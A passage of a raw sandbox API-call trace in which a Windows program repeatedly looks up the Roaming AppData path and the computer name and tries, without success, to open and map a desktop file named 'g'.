(hObject=0xffffffff) returned 1 [0189.087] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.087] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.087] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.087] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.087] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.087] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.087] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.087] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.087] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.087] CloseHandle (hObject=0x0) returned 0 [0189.087] CloseHandle (hObject=0xffffffff) returned 1 [0189.087] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.087] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.087] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.087] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.087] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.088] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.088] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.088] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.088] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.088] CloseHandle (hObject=0x0) returned 0 [0189.088] CloseHandle (hObject=0xffffffff) returned 1 [0189.088] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.088] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.088] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.088] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.088] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.088] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.088] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.088] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.088] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.088] CloseHandle (hObject=0x0) returned 0 [0189.088] CloseHandle (hObject=0xffffffff) returned 1 [0189.088] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.088] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.088] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.088] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.088] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.088] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.088] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.089] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.089] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.089] CloseHandle (hObject=0x0) returned 0 [0189.089] CloseHandle (hObject=0xffffffff) returned 1 [0189.089] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.089] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.089] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.089] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.089] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.089] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.089] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.089] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.089] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.089] CloseHandle (hObject=0x0) returned 0 [0189.089] CloseHandle (hObject=0xffffffff) returned 1 [0189.089] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.089] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.089] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.089] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.089] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.089] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.089] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.089] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.089] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.090] CloseHandle (hObject=0x0) returned 0 [0189.090] CloseHandle (hObject=0xffffffff) returned 1 [0189.090] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.090] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.090] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.090] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.090] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.090] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.090] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.090] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.090] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.090] CloseHandle (hObject=0x0) returned 0 [0189.090] CloseHandle (hObject=0xffffffff) returned 1 [0189.090] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.090] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.090] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.090] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.090] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.090] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.090] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.090] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.090] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.090] CloseHandle (hObject=0x0) returned 0 [0189.090] CloseHandle (hObject=0xffffffff) returned 1 [0189.091] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.091] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.091] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.091] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.091] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.091] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.091] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.091] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.091] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.091] CloseHandle (hObject=0x0) returned 0 [0189.091] CloseHandle (hObject=0xffffffff) returned 1 [0189.091] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.091] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.091] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.091] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.091] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.091] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.091] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.091] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.091] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.091] CloseHandle (hObject=0x0) returned 0 [0189.091] CloseHandle (hObject=0xffffffff) returned 1 [0189.091] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.091] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.091] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.092] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.092] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.092] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.092] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.092] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.092] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.092] CloseHandle (hObject=0x0) returned 0 [0189.092] CloseHandle (hObject=0xffffffff) returned 1 [0189.092] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.092] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.092] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.092] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.092] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.092] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.092] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.092] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.092] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.092] CloseHandle (hObject=0x0) returned 0 [0189.092] CloseHandle (hObject=0xffffffff) returned 1 [0189.092] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.092] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.092] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.092] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.092] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.093] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.093] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.093] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.093] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.093] CloseHandle (hObject=0x0) returned 0 [0189.093] CloseHandle (hObject=0xffffffff) returned 1 [0189.093] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.093] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.093] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.093] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.093] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.093] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.093] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.093] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.093] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.093] CloseHandle (hObject=0x0) returned 0 [0189.093] CloseHandle (hObject=0xffffffff) returned 1 [0189.093] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.093] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.093] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.093] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.093] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.093] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.094] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.094] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.094] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.094] CloseHandle (hObject=0x0) returned 0 [0189.094] CloseHandle (hObject=0xffffffff) returned 1 [0189.094] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.094] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.094] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.094] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.094] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.094] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.094] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.094] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.094] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.094] CloseHandle (hObject=0x0) returned 0 [0189.094] CloseHandle (hObject=0xffffffff) returned 1 [0189.094] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.094] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.094] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.094] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.094] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.094] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.094] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.094] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.094] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.095] CloseHandle (hObject=0x0) returned 0 [0189.095] CloseHandle (hObject=0xffffffff) returned 1 [0189.095] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.095] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, 